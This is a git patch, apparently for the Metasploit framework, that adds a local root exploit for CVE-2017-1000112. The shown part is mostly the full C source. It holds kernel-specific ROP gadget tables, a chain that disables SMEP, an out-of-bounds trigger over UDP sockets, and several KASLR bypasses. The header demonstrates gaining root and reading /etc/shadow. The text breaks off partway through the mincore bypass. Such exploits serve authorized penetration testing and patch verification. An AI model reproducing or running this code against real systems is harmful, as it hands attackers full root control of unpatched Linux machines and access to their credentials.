From 65fcdcfd2f92bf4bcb34a0c5003c5860191efaed Mon Sep 17 00:00:00 2001 From: Tim W Date: Thu, 2 Aug 2018 17:53:36 +0800 Subject: [PATCH] Land #9884, add linux ufo priv esc module --- data/exploits/cve-2017-1000112/exploit.c | 884 ++++++++++++++++++ data/exploits/cve-2017-1000112/exploit.out | Bin 0 -> 79128 bytes .../linux/local/ufo_privilege_escalation.md | 136 +++ .../linux/local/ufo_privilege_escalation.rb | 197 ++++ 4 files changed, 1217 insertions(+) create mode 100644 data/exploits/cve-2017-1000112/exploit.c create mode 100644 data/exploits/cve-2017-1000112/exploit.out create mode 100644 documentation/modules/exploit/linux/local/ufo_privilege_escalation.md create mode 100644 modules/exploits/linux/local/ufo_privilege_escalation.rb diff --git a/data/exploits/cve-2017-1000112/exploit.c b/data/exploits/cve-2017-1000112/exploit.c new file mode 100644 index 0000000000..4a33140e55 --- /dev/null +++ b/data/exploits/cve-2017-1000112/exploit.c @@ -0,0 +1,884 @@ +// A proof-of-concept local root exploit for CVE-2017-1000112. +// Includes KASLR and SMEP bypasses. No SMAP bypass. +// Tested on: +// - Ubuntu trusty 4.4.0 kernels +// - Ubuntu xenial 4.4.0 and 4.8.0 kernels +// - Linux Mint rosa 4.4.0 kernels +// - Linux Mint sarah 4.8.0 kernels +// - Zorin OS 12.1 4.4.0-39 kernel +// +// Usage: +// user@ubuntu:~$ uname -a +// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux +// user@ubuntu:~$ whoami +// user +// user@ubuntu:~$ id +// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) +// user@ubuntu:~$ gcc pwn.c -o pwn +// user@ubuntu:~$ ./pwn +// [.] starting +// [.] checking kernel version +// [.] kernel version '4.8.0-58-generic' detected +// [~] done, version looks good +// [.] checking SMEP and SMAP +// [~] done, looks good +// [.] setting up namespace sandbox +// [~] done, namespace sandbox set up +// [.] KASLR bypass enabled, getting kernel addr +// [~] done, kernel text: ffffffffae400000 +// [.] commit_creds: ffffffffae4a5d20 +// [.] prepare_kernel_cred: ffffffffae4a6110 +// [.] SMEP bypass enabled, mmapping fake stack +// [~] done, fake stack mmapped +// [.] executing payload ffffffffae40008d +// [~] done, should be root now +// [.] checking if we got root +// [+] got r00t ^_^ +// root@ubuntu:/home/user# whoami +// root +// root@ubuntu:/home/user# id +// uid=0(root) gid=0(root) groups=0(root) +// root@ubuntu:/home/user# cat /etc/shadow +// root:!:17246:0:99999:7::: +// daemon:*:17212:0:99999:7::: +// bin:*:17212:0:99999:7::: +// sys:*:17212:0:99999:7::: +// ... +// +// Andrey Konovalov +// --- +// Updated by +// - support for distros based on Ubuntu kernel +// - additional kernel targets +// - additional KASLR bypasses +// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112 + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#define DEBUG + +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + +#define ENABLE_KASLR_BYPASS 1 +#define ENABLE_SMEP_BYPASS 1 + +char* SHELL = "/bin/bash"; + +// Will be overwritten if ENABLE_KASLR_BYPASS is enabled. +unsigned long KERNEL_BASE = 0xffffffff81000000ul; + +// Will be overwritten by detect_kernel(). +int kernel = -1; + +struct kernel_info { + const char* distro; + const char* version; + uint64_t commit_creds; + uint64_t prepare_kernel_cred; + uint64_t xchg_eax_esp_ret; + uint64_t pop_rdi_ret; + uint64_t mov_dword_ptr_rdi_eax_ret; + uint64_t mov_rax_cr4_ret; + uint64_t neg_rax_ret; + uint64_t pop_rcx_ret; + uint64_t or_rax_rcx_ret; + uint64_t xchg_eax_edi_ret; + uint64_t mov_cr4_rdi_ret; + uint64_t jmp_rcx; +}; + +struct kernel_info kernels[] = { + { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, + { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, + { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, + { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, + { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, + { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, + { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, + { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, + { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, + { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, + { "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, + { "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b }, + { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, + { "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d }, + { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, + { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, + { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, + // { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b }, + // { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 }, + { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, +}; + +// Used to get root privileges. +#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) +#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) + +// Used when ENABLE_SMEP_BYPASS is used. +// - xchg eax, esp ; ret +// - pop rdi ; ret +// - mov dword ptr [rdi], eax ; ret +// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret +// - neg rax ; ret +// - pop rcx ; ret +// - or rax, rcx ; ret +// - xchg eax, edi ; ret +// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret +// - jmp rcx +#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) +#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) +#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) +#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) +#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) +#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) +#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) +#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) +#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) +#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) + +// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * + +typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); + +void get_root(void) { + ((_commit_creds)(COMMIT_CREDS))( + ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); +} + +// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * + +uint64_t saved_esp; + +// Unfortunately GCC does not support `__atribute__((naked))` on x86, which +// can be used to omit a function's prologue, so I had to use this weird +// wrapper hack as a workaround. Note: Clang does support it, which means it +// has better support of GCC attributes than GCC itself. Funny. +void wrapper() { + asm volatile (" \n\ + payload: \n\ + movq %%rbp, %%rax \n\ + movq $0xffffffff00000000, %%rdx \n\ + andq %%rdx, %%rax \n\ + movq %0, %%rdx \n\ + addq %%rdx, %%rax \n\ + movq %%rax, %%rsp \n\ + call get_root \n\ + ret \n\ + " : : "m"(saved_esp) : ); +} + +void payload(); + +#define CHAIN_SAVE_ESP \ + *stack++ = POP_RDI_RET; \ + *stack++ = (uint64_t)&saved_esp; \ + *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; + +#define SMEP_MASK 0x100000 + +#define CHAIN_DISABLE_SMEP \ + *stack++ = MOV_RAX_CR4_RET; \ + *stack++ = NEG_RAX_RET; \ + *stack++ = POP_RCX_RET; \ + *stack++ = SMEP_MASK; \ + *stack++ = OR_RAX_RCX_RET; \ + *stack++ = NEG_RAX_RET; \ + *stack++ = XCHG_EAX_EDI_RET; \ + *stack++ = MOV_CR4_RDI_RET; + +#define CHAIN_JMP_PAYLOAD \ + *stack++ = POP_RCX_RET; \ + *stack++ = (uint64_t)&payload; \ + *stack++ = JMP_RCX; + +void mmap_stack() { + uint64_t stack_aligned, stack_addr; + int page_size, stack_size, stack_offset; + uint64_t* stack; + + page_size = getpagesize(); + + stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); + stack_addr = stack_aligned - page_size * 4; + stack_size = page_size * 8; + stack_offset = XCHG_EAX_ESP_RET % page_size; + + stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (stack == MAP_FAILED || stack != (void*)stack_addr) { + dprintf("[-] mmap()\n"); + exit(EXIT_FAILURE); + } + + stack = (uint64_t*)((char*)stack_aligned + stack_offset); + + CHAIN_SAVE_ESP; + CHAIN_DISABLE_SMEP; + CHAIN_JMP_PAYLOAD; +} + +// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * + +struct ubuf_info { + uint64_t callback; // void (*callback)(struct ubuf_info *, bool) + uint64_t ctx; // void * + uint64_t desc; // unsigned long +}; + +struct skb_shared_info { + uint8_t nr_frags; // unsigned char + uint8_t tx_flags; // __u8 + uint16_t gso_size; // unsigned short + uint16_t gso_segs; // unsigned short + uint16_t gso_type; // unsigned short + uint64_t frag_list; // struct sk_buff * + uint64_t hwtstamps; // struct skb_shared_hwtstamps + uint32_t tskey; // u32 + uint32_t ip6_frag_id; // __be32 + uint32_t dataref; // atomic_t + uint64_t destructor_arg; // void * + uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; +}; + +struct ubuf_info ui; + +void init_skb_buffer(char* buffer, unsigned long func) { + struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; + memset(ssi, 0, sizeof(*ssi)); + + ssi->tx_flags = 0xff; + ssi->destructor_arg = (uint64_t)&ui; + ssi->nr_frags = 0; + ssi->frag_list = 0; + + ui.callback = func; +} + +// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * + +#define SHINFO_OFFSET 3164 + +void oob_execute(unsigned long payload) { + char buffer[4096]; + memset(&buffer[0], 0x42, 4096); + init_skb_buffer(&buffer[SHINFO_OFFSET], payload); + + int s = socket(PF_INET, SOCK_DGRAM, 0); + if (s == -1) { + dprintf("[-] socket()\n"); + exit(EXIT_FAILURE); + } + + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(8000); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + + if (connect(s, (void*)&addr, sizeof(addr))) { + dprintf("[-] connect()\n"); + exit(EXIT_FAILURE); + } + + int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); + int rv = send(s, buffer, size, MSG_MORE); + if (rv != size) { + dprintf("[-] send()\n"); + exit(EXIT_FAILURE); + } + + int val = 1; + rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); + if (rv != 0) { + dprintf("[-] setsockopt(SO_NO_CHECK)\n"); + exit(EXIT_FAILURE); + } + + send(s, buffer, 1, 0); + + close(s); +} + +// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * + +#define CHUNK_SIZE 1024 + +int read_file(const char* file, char* buffer, int max_length) { + int f = open(file, O_RDONLY); + if (f == -1) + return -1; + int bytes_read = 0; + while (true) { + int bytes_to_read = CHUNK_SIZE; + if (bytes_to_read > max_length - bytes_read) + bytes_to_read = max_length - bytes_read; + int rv = read(f, &buffer[bytes_read], bytes_to_read); + if (rv == -1) + return -1; + bytes_read += rv; + if (rv == 0) + return bytes_read; + } +} + +#define LSB_RELEASE_LENGTH 1024 + +void get_distro_codename(char* output, int max_length) { + char buffer[LSB_RELEASE_LENGTH]; + char* path = "/etc/lsb-release"; + int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH); + if (length == -1) { + dprintf("[-] open/read(%s)\n", path); + exit(EXIT_FAILURE); + } + const char *needle = "DISTRIB_CODENAME="; + int needle_length = strlen(needle); + char* found = memmem(&buffer[0], length, needle, needle_length); + if (found == NULL) { + dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); + exit(EXIT_FAILURE); + } + int i; + for (i = 0; found[needle_length + i] != '\n'; i++) { + if (i >= max_length) { + exit(EXIT_FAILURE); + } + if ((found - &buffer[0]) + needle_length + i >= length) { + exit(EXIT_FAILURE); + } + output[i] = found[needle_length + i]; + } +} + +struct utsname get_kernel_version() { + struct utsname u; + int rv = uname(&u); + if (rv != 0) { + dprintf("[-] uname()\n"); + exit(EXIT_FAILURE); + } + return u; +} + +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) + +#define DISTRO_CODENAME_LENGTH 32 + +void detect_kernel() { + char codename[DISTRO_CODENAME_LENGTH]; + struct utsname u; + + u = get_kernel_version(); + + if (strstr(u.machine, "64") == NULL) { + dprintf("[-] system is not using a 64-bit kernel\n"); + exit(EXIT_FAILURE); + } + + if (strstr(u.version, "-Ubuntu") == NULL) { + dprintf("[-] system is not using an Ubuntu kernel\n"); + exit(EXIT_FAILURE); + } + + if (strstr(u.version, "14.04.1")) { + strcpy(&codename[0], "trusty"); + } else if (strstr(u.version, "16.04.1")) { + strcpy(&codename[0], "xenial"); + } else { + get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); + + // Linux Mint kernel release mappings + if (!strcmp(&codename[0], "qiana")) + strcpy(&codename[0], "trusty"); + if (!strcmp(&codename[0], "rebecca")) + strcpy(&codename[0], "trusty"); + if (!strcmp(&codename[0], "rafaela")) + strcpy(&codename[0], "trusty"); + if (!strcmp(&codename[0], "rosa")) + strcpy(&codename[0], "trusty"); + if (!strcmp(&codename[0], "sarah")) + strcpy(&codename[0], "xenial"); + if (!strcmp(&codename[0], "serena")) + strcpy(&codename[0], "xenial"); + if (!strcmp(&codename[0], "sonya")) + strcpy(&codename[0], "xenial"); + } + + int i; + for (i = 0; i < ARRAY_SIZE(kernels); i++) { + if (strcmp(&codename[0], kernels[i].distro) == 0 && + strcmp(u.release, kernels[i].version) == 0) { + dprintf("[.] kernel version '%s' detected\n", kernels[i].version); + kernel = i; + return; + } + } + + dprintf("[-] kernel version not recognized\n"); + exit(EXIT_FAILURE); +} + +#define PROC_CPUINFO_LENGTH 4096 + +// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP +int smap_smep_enabled() { + char buffer[PROC_CPUINFO_LENGTH]; + char* path = "/proc/cpuinfo"; + int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); + if (length == -1) { + dprintf("[-] open/read(%s)\n", path); + exit(EXIT_FAILURE); + } + int rv = 0; + char* found = memmem(&buffer[0], length, "smep", 4); + if (found != NULL) + rv += 1; + found = memmem(&buffer[0], length, "smap", 4); + if (found != NULL) + rv += 2; + return rv; +} + +void check_smep_smap() { + int rv = smap_smep_enabled(); + if (rv >= 2) { + dprintf("[-] SMAP detected, no bypass available\n"); + exit(EXIT_FAILURE); + } +#if !ENABLE_SMEP_BYPASS + if (rv >= 1) { + dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); + exit(EXIT_FAILURE); + } +#endif +} + +// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * + +#define SYSLOG_ACTION_READ_ALL 3 +#define SYSLOG_ACTION_SIZE_BUFFER 10 + +bool mmap_syslog(char** buffer, int* size) { + *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); + if (*size == -1) { + dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); + return false; + } + + *size = (*size / getpagesize() + 1) * getpagesize(); + *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); + if (*size == -1) { + dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); + return false; + } + + return true; +} + +unsigned long get_kernel_addr_trusty(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) return 0; + + int start = 0; + int end = 0; + for (end = start; substr[end] != '-'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) return 0; + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xffffffffff000000ul; + + return r; +} + +unsigned long get_kernel_addr_xenial(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) { + return 0; + } + + int start = 0; + int end = 0; + for (start = 0; substr[start] != '-'; start++); + for (end = start; substr[end] != '\n'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) { + return 0; + } + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xfffffffffff00000ul; + r -= 0x1000000ul; + + return r; +} + +unsigned long get_kernel_addr_syslog() { + unsigned long addr = 0; + char* syslog; + int size; + + dprintf("[.] trying syslog...\n"); + + if (!mmap_syslog(&syslog, &size)) + return 0; + + if (strcmp("trusty", kernels[kernel].distro) == 0) + addr = get_kernel_addr_trusty(syslog, size); + if (strcmp("xenial", kernels[kernel].distro) == 0) + addr = get_kernel_addr_xenial(syslog, size); + + if (!addr) + dprintf("[-] kernel base not found in syslog\n"); + + return addr; +} + +// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_kallsyms() { + FILE *f; + unsigned long addr = 0; + char dummy; + char sname[256]; + char* name = "startup_64"; + char* path = "/proc/kallsyms"; + + dprintf("[.] trying %s...\n", path); + f = fopen(path, "r"); + if (f == NULL) { + dprintf("[-] open/read(%s)\n", path); + return 0; + } + + int ret = 0; + while (ret != EOF) { + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fclose(f); + return addr; + } + } + + fclose(f); + dprintf("[-] kernel base not found in %s\n", path); + return 0; +} + +// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_sysmap() { + FILE *f; + unsigned long addr = 0; + char path[512] = "/boot/System.map-"; + char version[32]; + + struct utsname u; + u = get_kernel_version(); + strcat(path, u.release); + dprintf("[.] trying %s...\n", path); + f = fopen(path, "r"); + if (f == NULL) { + dprintf("[-] open/read(%s)\n", path); + return 0; + } + + char dummy; + char sname[256]; + char* name = "startup_64"; + int ret = 0; + while (ret != EOF) { + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fclose(f); + return addr; + } + } + + fclose(f); + dprintf("[-] kernel base not found in %s\n", path); + return 0; +} + +// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_mincore() { + unsigned char buf[getpagesize()/sizeof(unsigned char)]; + unsigned long iterations = 20000000; + unsigned long addr = 0; + + dprintf("[.] trying mincore info leak...\n"); + /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ + if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, + MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { + dprintf("[-] mmap()\n"); + return 0; + } + + int i; + for (i = 0; i <= iterations; i++) { + /* Touch a mishandle with this type mapping */ + if (mincore((void*)0x86000000, 0x1000000, buf)) { + dprintf("[-] mincore()\n"); + return 0; + } + + int n; + for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) { + addr = *(unsigned long*)(&buf[n]); + /* Kernel address space */ + if (addr > 0xffffffff00000000) { + addr &= 0xffffffffff000000ul; + if (munmap((void*)0x66000000, 